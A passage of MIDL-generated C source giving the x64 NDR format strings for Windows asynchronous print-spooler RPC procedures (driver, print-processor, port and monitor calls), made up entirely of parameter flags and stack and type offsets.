type, simple ref, srv alloc size=8 */\n/* 2612 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2614 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2616 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2618 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2620 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterDriverDirectory */\n\n/* 2622 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2624 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2628 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 2630 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2632 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2634 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2636 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2638 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2640 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2642 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2644 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2646 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2648 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2650 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2652 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2654 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2656 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2658 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2660 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2662 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2664 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2666 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2668 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriverDirectory */\n\n/* 2670 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2672 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2674 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 2676 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2678 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2682 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2684 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2686 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2688 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2690 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterDriver */\n\n/* 2694 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2696 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2700 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 2702 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2704 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2706 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2708 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2710 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2712 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2714 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2716 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2720 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2722 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2724 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2726 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2728 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2730 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2732 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2734 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pDriverName */\n\n/* 2736 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2738 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2740 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 2742 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2744 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2746 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterDriverEx */\n\n/* 2748 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2750 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2754 */\tNdrFcShort( 0x2b ),\t/* 43 */\n/* 2756 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2758 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2760 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2762 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2764 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2766 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2768 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2770 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2772 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2774 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2778 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2780 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2782 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2784 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2786 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2788 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pDriverName */\n\n/* 2790 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2792 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2794 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter dwDeleteFlag */\n\n/* 2796 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2798 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2800 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwVersionNum */\n\n/* 2802 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2804 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2806 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2808 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2810 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2812 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPrintProcessor */\n\n/* 2814 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2816 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2820 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 2822 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2824 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2826 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2828 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2830 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2832 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2834 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2836 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2838 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2840 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2842 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2844 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2846 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2848 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2850 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2852 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2854 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pPathName */\n\n/* 2856 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2858 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2860 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 2862 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2864 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2866 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 2868 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2870 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2872 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrintProcessors */\n\n/* 2874 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2876 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2880 */\tNdrFcShort( 0x2d ),\t/* 45 */\n/* 2882 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2884 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2886 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2888 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2890 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2892 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2894 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2896 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2898 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2900 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2902 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2904 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2906 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2908 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2910 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2912 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2914 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2916 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2918 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrintProcessorInfo */\n\n/* 2922 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2924 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2926 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 2928 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2930 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2932 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2934 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2936 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2938 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2940 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2942 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2944 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2946 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2948 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2950 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrintProcessorDirectory */\n\n/* 2952 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2954 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2958 */\tNdrFcShort( 0x2e ),\t/* 46 */\n/* 2960 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2962 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2964 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2966 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2968 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2970 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2972 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2974 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2976 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2980 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2982 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2984 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2986 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2988 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2990 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2992 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2994 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2996 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2998 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrintProcessorDirectory */\n\n/* 3000 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3002 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3004 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 3006 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3008 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3010 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3012 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3014 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3016 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3018 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3020 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3022 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPorts */\n\n/* 3024 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3026 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3030 */\tNdrFcShort( 0x2f ),\t/* 47 */\n/* 3032 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3034 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3036 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3038 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3040 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3042 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3044 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3046 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3048 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3050 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3052 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3054 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3056 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3058 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3060 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3062 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3064 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPort */\n\n/* 3066 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3068 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3070 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 3072 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3074 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3076 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3078 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3080 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3082 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3084 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3086 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3088 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3090 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3092 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3094 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumMonitors */\n\n/* 3096 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3098 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3102 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 3104 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3106 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3108 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3110 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3112 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3114 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3116 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3118 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3120 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3122 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3126 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3128 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3130 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3132 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3134 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3136 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pMonitor */\n\n/* 3138 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3140 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3142 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 3144 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3146 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3148 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3150 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3152 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3154 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3156 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3158 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3162 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3164 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3166 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPort */\n\n/* 3168 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3170 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3174 */\tNdrFcShort( 0x31 ),\t/* 49 */\n/* 3176 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3178 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3180 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3182 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3184 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3186 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3188 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3190 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3192 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3194 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3196 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3198 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3200 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3202 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortContainer */\n\n/* 3204 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3206 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3208 */\tNdrFcShort( 0xa00 ),\t/* Type Offset=2560 */\n\n\t/* Parameter pPortVarContainer */\n\n/* 3210 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3212 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3214 */\tNdrFcShort( 0xa14 ),\t/* Type Offset=2580 */\n\n\t/* Parameter pMonitorName */\n\n/* 3216 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3218 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3220 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3222 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3224 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetPort */\n\n/* 3228 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3234 */\tNdrFcShort( 0x32 ),\t/* 50 */\n/* 3236 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3238 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3240 */\tNdrFcShort( 0x0 